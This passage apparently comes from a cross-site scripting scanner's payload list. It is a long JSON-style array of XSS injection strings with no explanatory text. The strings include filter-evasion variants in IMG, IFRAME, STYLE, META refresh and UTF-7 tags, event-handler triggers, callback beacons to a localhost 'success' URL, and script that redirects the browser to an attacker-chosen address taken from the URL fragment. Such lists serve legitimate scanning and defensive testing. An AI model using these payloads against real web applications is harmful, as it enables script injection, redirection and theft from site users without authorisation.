      "X<form id=test><input></form><button form=test onformchange==javascript:document.location=document.location.hash.substring(1)>X\n",
      "<IMG SRC=&{http://localhost:19084/success/d28f57b87b7a0e4a782aa16fed630514};>\n",
      "<input type=\"image\" dynsrc=\"http://localhost:19084/success/9a2ea8751d1022ef01d907c51c2858fb\">\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:document.location=document.location.hash.substring(1)\">X\n",
      "<video poster=javascript:document.location=document.location.hash.substring(1)//\n",
      "<video><source onerror=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "\"><SCRIPT>alert('4a5c8f0344932f8d90948b5c6dc43ed1')</SCRIPT>\n",
      "\">c40ff5a56ffa0b8bddc5f5d54e97eb0e\n",
      "\"><img src=\"x:x\" onerror=\"9382c1f85adb3a220fae169213db85b0\">\n",
      "</TITLE>15e767b8f7eda4691c61450707734e4d\n",
      "'';!--\"<61052c564095befb2aaa1e84996029f1>=&{()}\"\n",
      "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=3b54abb5fcff2f7bb3cbf73bf5da42d0>\n",
      "'';!--\"<9f2284e4f142045173191c0c4e5d4bdb>=&{()}\"\n",
      "<IMG SRC=\"fe1ecbc9baa8ee794bd4c9d615afaadc\">\n",
      "<IMG SRC=74dffe520db86dd4e426328e401cd673>\n",
      "<IMG SRC=`f5fb0688589dc2d74e3485ee6371fed9`>\n",
      "<IMG \"\"\">ba8d0fbead29806ad2b8502fd3d5fcbf\">\n",
      "<IMG SRC=\" &#14;  381090256f912ac13651181c5e672835\">\n",
      "<DIV STYLE=\"behaviour: url(c865713174995dff4480023928370c3b);\">\n",
      "<<SCRIPT>4ef6f640273df371af81b0086215bf37//<</SCRIPT>\n",
      "\";65c966cc97c6c9a217ed922a93aad900//\n",
      "<IMG SRC='91d5ed2959d2dab30dd806a946ce47f5'\n",
      "<BODY BACKGROUND=\"d4fa2237f73966c15eecb702d211cbbc\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"1ef3ec3d6d2465739fb032098ad7de8a\">\n",
      "<BODY ONLOAD=cbe909ee1766aeff1a5b139d73f47286>\n",
      "<IMG DYNSRC=\"08d2c266a429f1a7d3f4f9125a99cb3e\">\n",
      "<IMG LOWSRC=\"bf23cd2133037b7d1fe827e4025780e7\">\n",
      "<BGSOUND SRC=\"aa59eaf760bfa2d26a582ac77a5257b8\">\n",
      "<BR SIZE=\"&{ff536939dc8394668c117e0a15cef3cb}\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"7237e36fd2e2c08fa60831a01be0b68c\">\n",
      "<IMG SRC='vbscript:69c801e850827e73b1ad2ce6ae313ac6'>\n",
      "<IMG SRC=\"mocha:[0073d15119ee737b71c7b5fed7e3c773]\">\n",
      "<IMG SRC=\"livescript:[129d8a4ba47abc0e288a702b409cba2b]\">\n",
      "<TABLE BACKGROUND=\"7c8a0859010bfe020e422d6e19efee0f\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=a44c639a1d86021314d0678e814c04fe\">\n",
      "<TABLE BACKGROUND=javascript:bae9ee01f357009b6c109748a2e7521d>\n",
      "<TABLE><TD BACKGROUND=\"79b8e683f9089c8b46f07a7bfd3e9f17\">\n",
      "<DIV STYLE=\"background-image: url(e86348cb02e741a684c320ac47703c6d);\">\n",
      "<DIV STYLE=\"width: expression(c577ae76a32f5888003eb29c4e4847e9);\">\n",
      "<IFRAME SRC=\"bc2463a4778ce468c4801682ec0cb441\"></IFRAME>\n",
      "<iframe/ /onload=f80ed7912f4c338d38682dbe6274157d></iframe>\n",
      "<iframe/ \"onload=2966b888d867c78ddde91216a1450bd8></iframe>\n",
      "<iframe///////onload=01e074ee8bcb9de7b683a7a11ddbcbac></iframe>\n",
      "<iframe \"onload=30cefd1afbdaa368fb0f715b8a884a97></iframe>\n",
      "<iframe/ \"onload=32d462e88935ff3f420da69a6798c025></iframe>\n",
      "<iframe<?php echo chr(11)?> onload=0614a1fdda26da1e7ed32f3ea1798aac></iframe>\n",
      "<iframe<?php echo chr(12)?> onload=1c90705756cda359c4a42838b4f672f2></iframe>\n",
      "<FRAMESET><FRAME SRC=\"c86542e96213846c83f963f846c79ee6\"></FRAMESET>\n",
      "<TABLE><TD BACKGROUND=\"bcec10adebfb76269b9197115e1e9844\">\n",
      "<TABLE BACKGROUND=\"22b99a2525669f94b1d22426bdb508c1\">\n",
      "<DIV STYLE=\"background-image: url(&#1;b02ea9395661e90df55957ad4879a48a)\">\n",
      "<DIV STYLE=\"width: expression(6806037d40c27095310518c0c5063e38);\">\n",
      "<IMG STYLE=\"xss:expr/*82ab8625f8ff269519548a626f766c87*/ession(82ab8625f8ff269519548a626f766c87)\">\n",
      "<2cfd741503e17ceba0c558eba61685f4 STYLE=\"xss:expression(2cfd741503e17ceba0c558eba61685f4)\">\n",
      "<STYLE TYPE=\"text/javascript\">1254a89d24d29c941b1a335cfc038263</STYLE>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"0f9b4050cdfa1bfc1aa46ec770358c04\")}</STYLE>\n",
      "<STYLE>.c283d69afc7fc0afe70d029be8ce27e3{background-image:url(\"c283d69afc7fc0afe70d029be8ce27e3\");}</STYLE><A CLASS=c283d69afc7fc0afe70d029be8ce27e3></A>\n",
      "<!--[if gte IE 4]>ea92e053d3f8a92a814f694f0ba08344<![endif]-->\n",
      "<BASE HREF=\"d9d3625a7cd67cce0b0bab88cb6b9a35//\">\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=65fae824023c7a85a0096c35c68f7a8a></OBJECT>\n",
      "<? echo('<SCR)';echo('IPT>148e3e4e678ae8cd260b5b6deb50dbd4</SCRIPT>'); ?>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"15c334dbb43512f83e4952dcd119f475\")\";eval(a+b+c+d);\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;7c2c9bfd8dbf42bb843cd1c5120a864e&lt;/SCRIPT&gt;\">\n",
      "<SCRIPT SRC=http://127.0.0.1>2f98b3d3f0805dd5d42a3e9039b5fcf5</SCRIPT>\n",
      "<IMG SRC=\"&14;javascript:6c3d1301eb0ad47f910137cbda012fb5\">\n",
      "<IMG SRC=\"jav&#x0D;ascript:884a8307510e6b77768c796f40cbbe72\">\n",
      "--- <IMG SRC=\" &#14;  77c3369a02ce399b426216ec2f13d73d\">\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=eb13b4b06d01210611de27190a8470c6\">\n",
      "--- \";b003912cee9548f68c0ee3efcc55629f;//\n",
      "<SCRIPT>a=/2bc1c539cf7d716f3c05b6dce57dfcec/alert(a.source)</SCRIPT>\n",
      "--- <IMG SRC=\"6903e5ce9ab5e2a56a94a965df98acb6\"\n",
      "<SCRIPT <B>=f98c52fb4f2e8ee138b50c5d4ed22137\"></SCRIPT>\n",
      "<IFRAME SRC=\"javascript:57946ceaa55f5a66fa15109f6c007c0d <\n",
      "<STYLE>li {list-style-image: url(\"7d95e1ac325f2a7c89aa193769dd0c0d</STYLE><UL><LI>7d95e1ac325f2a7c89aa193769dd0c0d\n",
      "<LAYER SRC=\"javascript:352e1124902fec16f28bcedfdf5c1b1c></LAYER>\n",
      "<DIV STYLE=\"background-image: url(&#1;javascript:082ef80f2751be337706fb06abb955c5\">\n",
      "<a href=\"javascript#74229f69b31056f6f4747a1d7ccdaadb\">\n",
      "<SCRIPT>a=/d05c0a09e16a7a0ca963fbe6987ac1fa/nd05c0a09e16a7a0ca963fbe6987ac1fa</SCRIPT>\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-680568e62f9d901eea39fbbe63755b25+ADw-/SCRIPT+AD4-\n",
      "<input type=\"image\" dynsrc=\"5776ba0e3e662022e1cf67b204dfce8b\">\n",
      "&b3f255ee744fae91ae31767077c6be89\">\n",
      "&{b6089bbca7dc5b4343e0244a1adc7e69};\n",
      "<IMG SRC=&{e651f3681c6e2ae49a2c1301c50d917b};>\n",
      "<a href=\"about:1ffac1fd38e5211e3ec1addf2d4d24b8\">\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:ab37533f658bc92eb6a63a1e448b6629\">\n",
      "<xml id=\"X\"><a><b>92fe345996f33b9ce82e16b641d9d54c;<b></a></xml>\n",
      "<DIV STYLE=\"binding: url(javascript:0d0e001bbaa5d480b0bcc07274258ced);\">\n",
      "<style><!--</style><SCRIPT>807a81f6fa4ae4ff7ce82742a742847a//--></SCRIPT>\n",
      "![CDATA[<!--]]<SCRIPT>74d9753c93b682e446226da7fa3203f9//--></SCRIPT>\n",
      "<!-- -- -->862fc62388b75a1596d83c0f0ca592e4<!-- -- -->\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:b95faab4c62865cf738602cf1230fd88\">]]</C><X></xml>\n",
      "<div datafld=\"b\" dataformatas=\"html\" datasrc=\"#af08067c8f45ae7546b617e4cd414484\"></div>\n",
      "<select onfocus=javascript:d5f0e4f144670a3cf7c1fd5e940e13bf autofocus>\n",
      "<input onfocus=javascript:6e8b2b02d068f0d0c06f21cf4ce4db78 autofocus>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:7dbe9fb9e4b350ae2c8258560a730bcf\">X\n",
      "<input onblur=javascript:505c69ae70c4ce6880b3fc6459bf1066 autofocus><input autofocus>\n",
      "<keygen onfocus=javascript:7a33de325953cab96fefa823d92c1323 autofocus>\n",
      "<textarea onfocus=javascript:06c034d559567309541bfc0ae308697a autofocus>\n",
      "<video><source onerror=\"javascript:3f4f6b96df12cd634de79a3fed851f92\">\n",
      "<video poster=javascript:09c4652382c4089193b78c3c4bb08ee3//\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:3a8f57495f78afe2fa63ad03e574de2c>X\n",
      "X<form id=test onforminput=javascript:2c696e55c7a408fd166dfc2263447641><input></form>\n",
      "<body onscroll=77f7f1d15e7ed0f65a4cf750fc6d2934><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "<video onerror=\"javascript:2ca21f70cff7c3bdbb14f7d13512339b\"><source>\n",
      "\"><script>document.location=document.location.hash.substring(1)</script>\n",
      "\"><img src=\"x:x\" onerror=\"http://localhost:19084/success/9382c1f85adb3a220fae169213db85b0\">\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "<IMG SRC=\"http://localhost:19084/success/fe1ecbc9baa8ee794bd4c9d615afaadc\">\n",
      "</TITLE><script>document.location=document.location.hash.substring(1)</script>\n",
      "<IMG \"\"\"><script>document.location=document.location.hash.substring(1)</script>\">\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "<iframe/ /onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<LINK REL=\"stylesheet\" HREF=\"http://localhost:19084/success/7237e36fd2e2c08fa60831a01be0b68c\">\n",
      "<IMG DYNSRC=\"http://localhost:19084/success/08d2c266a429f1a7d3f4f9125a99cb3e\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"http://localhost:19084/success/1ef3ec3d6d2465739fb032098ad7de8a\">\n",
      "<IMG SRC='http://localhost:19084/success/91d5ed2959d2dab30dd806a946ce47f5'\n",
      "<DIV STYLE=\"behaviour: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/7c8a0859010bfe020e422d6e19efee0f\">\n",
      "\";<script>document.location=document.location.hash.substring(1)</script>//\n",
      "<IMG SRC=`http://localhost:19084/success/f5fb0688589dc2d74e3485ee6371fed9`>\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<iframe \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<IMG SRC=http://localhost:19084/success/74dffe520db86dd4e426328e401cd673>\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<BODY BACKGROUND=\"http://localhost:19084/success/d4fa2237f73966c15eecb702d211cbbc\">\n",
      "<IMG SRC=&{http://localhost:19084/success/e651f3681c6e2ae49a2c1301c50d917b};>\n",
      "<IMG SRC=\"mocha:[http://localhost:19084/success/0073d15119ee737b71c7b5fed7e3c773]\">\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<IFRAME SRC=\"javascript:document.location=document.location.hash.substring(1) <\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/22b99a2525669f94b1d22426bdb508c1\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<IMG LOWSRC=\"http://localhost:19084/success/bf23cd2133037b7d1fe827e4025780e7\">\n",
      "<BGSOUND SRC=\"http://localhost:19084/success/aa59eaf760bfa2d26a582ac77a5257b8\">\n",
      "<STYLE>.XSS{background-image:url(\"http://localhost:19084/success/c283d69afc7fc0afe70d029be8ce27e3\");}</STYLE><A CLASS=XSS></A>\n",
      "<BR SIZE=\"&{<script>document.location=document.location.hash.substring(1)</script>}\">\n",
      "<BODY ONLOAD=<script>document.location=document.location.hash.substring(1)</script>>\n",
      "<TABLE BACKGROUND=javascript:document.location=document.location.hash.substring(1)>\n",
      "<IMG SRC='vbscript:http://localhost:19084/success/69c801e850827e73b1ad2ce6ae313ac6'>\n",
      "--- <IMG SRC=\"http://localhost:19084/success/6903e5ce9ab5e2a56a94a965df98acb6\"\n",
      "<IMG SRC=\"livescript:[http://localhost:19084/success/129d8a4ba47abc0e288a702b409cba2b]\">\n",
      "<DIV STYLE=\"background-image: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<!-- -- --><script>document.location=document.location.hash.substring(1)</script><!-- -- -->\n",
      "<XSS STYLE=\"xss:expression(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/79b8e683f9089c8b46f07a7bfd3e9f17\">\n",
      "&{<script>document.location=document.location.hash.substring(1)</script>};\n",
      "<STYLE>li {list-style-image: url(\"<script>document.location=document.location.hash.substring(1)</script></STYLE><UL><LI>XSS\n",
      "<iframe///////onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:http://localhost:19084/success/b95faab4c62865cf738602cf1230fd88\">]]</C><X></xml>\n",
      "&<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<!--[if gte IE 4]><script>document.location=document.location.hash.substring(1)</script><![endif]-->\n",
      "<iframe<?php echo chr(12)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<IFRAME SRC=\"http://localhost:19084/success/bc2463a4778ce468c4801682ec0cb441\"></IFRAME>\n",
      "<IMG SRC=\"&14;javascript:document.location=document.location.hash.substring(1)\">\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/bcec10adebfb76269b9197115e1e9844\">\n",
      "<input type=\"image\" dynsrc=\"http://localhost:19084/success/5776ba0e3e662022e1cf67b204dfce8b\">\n",
      "<IMG STYLE=\"xss:expr/*XSS*/ession(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<iframe<?php echo chr(11)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<a href=\"about:<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=<script>document.location=document.location.hash.substring(1)</script>></OBJECT>\n",
      "<FRAMESET><FRAME SRC=\"http://localhost:19084/success/c86542e96213846c83f963f846c79ee6\"></FRAMESET>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:document.location=document.location.hash.substring(1)\">X\n",
      "--- \";<script>document.location=document.location.hash.substring(1)</script>;//\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"http://localhost:19084/success/0f9b4050cdfa1bfc1aa46ec770358c04\")}</STYLE>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"http://localhost:19084/success/15c334dbb43512f83e4952dcd119f475\")\";eval(a+b+c+d);\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "<BASE HREF=\"<script>document.location=document.location.hash.substring(1)</script>//\">\n",
      "<xml id=\"X\"><a><b><script>document.location=document.location.hash.substring(1)</script>;<b></a></xml>\n",
      "<LAYER SRC=\"javascript:document.location=document.location.hash.substring(1)></LAYER>\n",
      "<DIV STYLE=\"binding: url(javascript:document.location=document.location.hash.substring(1));\">\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:document.location=document.location.hash.substring(1)>X\n",
      "<video poster=javascript:document.location=document.location.hash.substring(1)//\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "\">f2fcf144c35f9e0530c9ad1e316d813b\n",
      "</TITLE>a8cba3da3532b4b6e7421859bd706920\n",
      "'';!--\"<c353731d3f0d799ff752bf2552000173>=&{()}\"\n",
      "\"><SCRIPT>alert('c5d0cae6f0bf2d59d7e989f46716226f')</SCRIPT>\n",
      "\"><img src=\"x:x\" onerror=\"b7a526215370c5d83d2a42039e8e2d6e\">\n",
      "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=d4e8a5c0ada74727fdd39e7cb001bc07>\n",
      "<IMG SRC=8680e29b34e6a601c80c5c25f76f3175>\n",
      "'';!--\"<a69e98d72d6925906a8806654ab885f2>=&{()}\"\n",
      "<IMG SRC=\"04b74296b76ef4408e7fc55f55292c68\">\n",
      "<IMG SRC=`c32655109ba4d9e49b6f52183464e863`>\n",
      "<IMG \"\"\">2c7c297ad680803e680dceaf74da7fcb\">\n",
      "<IMG SRC=\" &#14;  1b4d9db68929fdb914333e3c95344862\">\n",
      "<DIV STYLE=\"behaviour: url(22ec7ae1fafa66c1cc00a0b2c65feeaa);\">\n",
      "<<SCRIPT>8bc6f58368b297d7c50e86cf4e85231f//<</SCRIPT>\n",
      "\";e8c4af06ddcbc11bc1a3847c86d3808b//\n",
      "<IMG SRC='57e52eb6eb8e7d3267e7f134fd430183'\n",
      "<BODY BACKGROUND=\"81254f98a869fbf2ff86a1f3386c2d89\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"abd16ce352fa638649a3bc03ad04bcc8\">\n",
      "<BODY ONLOAD=943adfbabcf4fc58bf3a8e7a4e39db1b>\n",
      "<IMG DYNSRC=\"414bdb9d4570b78a8c9669b3c6183434\">\n",
      "<IMG LOWSRC=\"540735fc12a8bf3338504bc71aecab22\">\n",
      "<BGSOUND SRC=\"b85f2402861a4f304e645c36ee0d7f55\">\n",
      "<BR SIZE=\"&{10982703b6055686f9e23d41282dca43}\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"c61cde7efb1708b56685ba35d6ce9aca\">\n",
      "<IMG SRC='vbscript:50733de1c6600af12375c8923bbcab60'>\n",
      "<IMG SRC=\"livescript:[9640667c1763cf241560b63e01f31656]\">\n",
      "<IMG SRC=\"mocha:[e5236e52fb3afad9f73257cda3947be1]\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=eddb4dd069ad59c643e24534a84a21e8\">\n",
      "<TABLE BACKGROUND=\"8fa71f8f576468ca889bd92b93c9dcdb\">\n",
      "<TABLE BACKGROUND=javascript:08ff33594538b921eb5737e86629f4e2>\n",
      "<TABLE><TD BACKGROUND=\"1ca4ea7a537eceb5c578881fb7603075\">\n",
      "<DIV STYLE=\"background-image: url(122d3db705674939fa786468cd4c5797);\">\n",
      "<DIV STYLE=\"width: expression(8217ba3dea29a9ab56c986929aaa4ddd);\">\n",
      "<IFRAME SRC=\"9aae92bff267f99a64d28dcea53998bd\"></IFRAME>\n",
      "<iframe/ /onload=750cb365b24cdcbae3714809cd5e5ba1></iframe>\n",
      "<iframe/ \"onload=d6f746e08d384d579b60619c9a74f933></iframe>\n",
      "<iframe///////onload=bf371eca00bd6fb09d9ecb6e340bae05></iframe>\n",
      "<iframe \"onload=4496c5147be73f33d6cd6113b0884c9f></iframe>\n",
      "<iframe/ \"onload=0733b6b69884ce9b4cd15a1706f25e57></iframe>\n",
      "<iframe<?php echo chr(11)?> onload=fa80d6d9b9b6b7bdc24310b1b2f10258></iframe>\n",
      "<iframe<?php echo chr(12)?> onload=9160f3a7cf18fc9eebc10491b1e54044></iframe>\n",
      "<FRAMESET><FRAME SRC=\"fc167d9dbc54063c90edc1d9041a547e\"></FRAMESET>\n",
      "<TABLE BACKGROUND=\"3b3e30847ec6d7f42edbc72056fb161e\">\n",
      "<TABLE><TD BACKGROUND=\"e98e9297e33348bb32a20de746804ee0\">\n",
      "<DIV STYLE=\"background-image: url(&#1;cee45b8d8a24a29ec5cc882ec4129923)\">\n",
      "<DIV STYLE=\"width: expression(37470175b8760b67cebd3c7a1fd1e183);\">\n",
      "<IMG STYLE=\"xss:expr/*761a2690700d7b07b0e0370417fa3d31*/ession(761a2690700d7b07b0e0370417fa3d31)\">\n",
      "<b95c31bca48b867f392046377e81f679 STYLE=\"xss:expression(b95c31bca48b867f392046377e81f679)\">\n",
      "<STYLE TYPE=\"text/javascript\">1aad2b70924960ef3f76587affd21e8f</STYLE>\n",
      "<STYLE>.9b25805433b28c72809b03637d3d7338{background-image:url(\"9b25805433b28c72809b03637d3d7338\");}</STYLE><A CLASS=9b25805433b28c72809b03637d3d7338></A>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"81790531c22047e5e2dcb8334f703962\")}</STYLE>\n",
      "<!--[if gte IE 4]>807d5dae2614101c093d4bf7b644764d<![endif]-->\n",
      "<BASE HREF=\"39b5ebb83bcf7c192c58107232ebfda2//\">\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=928ab71eee15b8c17b662a3696686008></OBJECT>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"1f71e584f3f37aaef73a27c54619dee3\")\";eval(a+b+c+d);\n",
      "<? echo('<SCR)';echo('IPT>744536c4c579abf691dc6f469ec9f4fd</SCRIPT>'); ?>\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;a759de98d65211e72071e3c06384fbdf&lt;/SCRIPT&gt;\">\n",
      "<SCRIPT SRC=http://127.0.0.1>8d87d171f73a15dcc2e48cb5c4441507</SCRIPT>\n",
      "<IMG SRC=\"&14;javascript:c8b06171627ba8adf14f7afe081841c2\">\n",
      "<IMG SRC=\"jav&#x0D;ascript:9d5344f15ce2e5871682d87ec894e211\">\n",
      "--- <IMG SRC=\" &#14;  cb036587b6d157a9bb16d68dc4426286\">\n",
      "<SCRIPT>a=/3cc618f00f1085fbda1a264c218fd226/alert(a.source)</SCRIPT>\n",
      "--- <IMG SRC=\"eea4fe2ef9d5efbe84d222f57a063cbd\"\n",
      "--- \";16e59722bf9591e50a28e0c730f0f986;//\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=9790c8939b6e950c5c702d907cb11d1d\">\n",
      "<SCRIPT <B>=3f641ccce302301b9927ee0f59a7725b\"></SCRIPT>\n",
      "<IFRAME SRC=\"javascript:ac94986b757e9642024c0b5e9839bdf1 <\n",
      "<SCRIPT>a=/d62e402d75413e292076ea00717ed9fc/nd62e402d75413e292076ea00717ed9fc</SCRIPT>\n",
      "<LAYER SRC=\"javascript:e14a0e68beb8a4fca848770b35f593b8></LAYER>\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-e6c524634eb59a7f477be34b59d4c58b+ADw-/SCRIPT+AD4-\n",
      "<DIV STYLE=\"background-image: url(&#1;javascript:1b93a9f2060804447f279d85d90a6f53\">\n",
      "<STYLE>li {list-style-image: url(\"f381e0b77ef0b96ab9e4e21546a49eb7</STYLE><UL><LI>f381e0b77ef0b96ab9e4e21546a49eb7\n",
      "<input type=\"image\" dynsrc=\"9a53a9b7a02200efcfd29da87a27efec\">\n",
      "&{3e72a63f8a9323129451e3b8a8b1aab7};\n",
      "<IMG SRC=&{1cd3428a1428b13cc121fb7d39ac9c20};>\n",
      "&6754448162047320fbbc9202c6cc383c\">\n",
      "<a href=\"javascript#4f63a61fd7e43fb00aca87848fc0e1bd\">\n",
      "<a href=\"about:272f8814cefe2e8aa8a92adc012f088e\">\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:a929b250ef74df934709ddc2c94bd7dc\">\n",
      "<DIV STYLE=\"binding: url(javascript:102966cadbd1b78b8fb86541044fc771);\">\n",
      "<style><!--</style><SCRIPT>ac641637d5f6c48d02637d4a7d92d2e0//--></SCRIPT>\n",
      "![CDATA[<!--]]<SCRIPT>4de7a77518bfea97c91259f76686be9c//--></SCRIPT>\n",
      "<!-- -- -->264d87f77526bd346aa88dbd9590e197<!-- -- -->\n",
      "<xml id=\"X\"><a><b>064fc3a99d0db6a939779ca9a322e03d;<b></a></xml>\n",
      "<div datafld=\"b\" dataformatas=\"html\" datasrc=\"#aa6512277e37151dcdd3b3d6d77f3539\"></div>\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:bca22e485e4ba87f80c61973373f8d74\">]]</C><X></xml>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:57a1c72d01ff60f416ae6aed279f0707\">X\n",
      "<input onfocus=javascript:8f996031b523c2820d0cd1e55f7fb800 autofocus>\n",
      "<textarea onfocus=javascript:a37c297fd18d7451ddfdbba786540988 autofocus>\n",
      "<select onfocus=javascript:0f8b9a688622fb517a041d6b126b004c autofocus>\n",
      "X<form id=test onforminput=javascript:7c333b29c1a11cb778d27e3f921cfead><input></form>\n",
      "<input onblur=javascript:06edb82e36f421764db15771039d2e3e autofocus><input autofocus>\n",
      "<video poster=javascript:e9754157ec86bfab94b87f8804e359ad//\n",
      "<body onscroll=d4e8f20e7639d3bc1b0ec2daa7d081d6><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:56ad2f8a2f05c52cd70a32f3a83e4ad0>X\n",
      "<video onerror=\"javascript:9ed6ad8bc73e4892c03d970dec9f9ccd\"><source>\n",
      "<keygen onfocus=javascript:a93d1ed90f561dd8ffc8617382303888 autofocus>\n",
      "<video><source onerror=\"javascript:8b635c88edee1918954906f2889b3474\">\n",
      "\"><script>document.location=document.location.hash.substring(1)</script>\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "<BGSOUND SRC=\"http://localhost:19084/success/b85f2402861a4f304e645c36ee0d7f55\">\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "</TITLE><script>document.location=document.location.hash.substring(1)</script>\n",
      "<IMG LOWSRC=\"http://localhost:19084/success/540735fc12a8bf3338504bc71aecab22\">\n",
      "<iframe/ /onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<IMG SRC=http://localhost:19084/success/8680e29b34e6a601c80c5c25f76f3175>\n",
      "<IMG SRC=\"mocha:[http://localhost:19084/success/e5236e52fb3afad9f73257cda3947be1]\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"http://localhost:19084/success/c61cde7efb1708b56685ba35d6ce9aca\">\n",
      "<IMG SRC=`http://localhost:19084/success/c32655109ba4d9e49b6f52183464e863`>\n",
      "<IMG SRC=\"http://localhost:19084/success/04b74296b76ef4408e7fc55f55292c68\">\n",
      "\"><img src=\"x:x\" onerror=\"http://localhost:19084/success/b7a526215370c5d83d2a42039e8e2d6e\">\n",
      "<BR SIZE=\"&{<script>document.location=document.location.hash.substring(1)</script>}\">\n",
      "<BODY ONLOAD=<script>document.location=document.location.hash.substring(1)</script>>\n",
      "<DIV STYLE=\"behaviour: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<IMG \"\"\"><script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=<script>document.location=document.location.hash.substring(1)</script>></OBJECT>\n",
      "<video onerror=\"javascript:document.location=document.location.hash.substring(1)\"><source>\n",
      "<IFRAME SRC=\"http://localhost:19084/success/9aae92bff267f99a64d28dcea53998bd\"></IFRAME>\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<IMG SRC=\"livescript:[http://localhost:19084/success/9640667c1763cf241560b63e01f31656]\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"http://localhost:19084/success/abd16ce352fa638649a3bc03ad04bcc8\">\n",
      "\";<script>document.location=document.location.hash.substring(1)</script>//\n",
      "<IMG SRC='http://localhost:19084/success/57e52eb6eb8e7d3267e7f134fd430183'\n",
      "<IMG SRC=\"&14;javascript:document.location=document.location.hash.substring(1)\">\n",
      "<XSS STYLE=\"xss:expression(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
